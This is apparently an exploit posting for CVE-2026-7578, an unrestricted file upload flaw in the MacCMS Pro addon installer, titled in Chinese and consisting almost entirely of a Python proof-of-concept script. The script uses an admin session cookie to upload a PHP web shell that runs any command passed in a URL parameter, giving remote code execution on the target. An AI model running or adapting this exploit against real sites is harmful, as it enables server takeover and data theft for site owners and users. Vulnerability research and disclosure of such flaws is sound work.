CVE-2026-7578 MacCMS Pro插件安装任意文件上传漏洞

import requests # Exploit Title: MacCMS Pro Unrestricted File Upload (CVE-2026-7578) # Description: Uploads a malicious file via the vulnerable addon installation handler. url = "http://target-ip" login_cookie = "PHPSESSID=admin_session_id;" # Requires High Privilege (Admin) # Vulnerable endpoint upload_url = f"{url}/admi.php/admin/addon/add.html" # Prepare malicious PHP file files = { 'file': ('exploit.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php') } headers = { 'Cookie': login_cookie, 'User-Agent': 'Mozilla/5.0 (CVE-Analysis)' } try: response = requests.post(upload_url, files=files, headers=headers) if response.status_code == 200: print("[+] File uploaded successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed. Status Code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")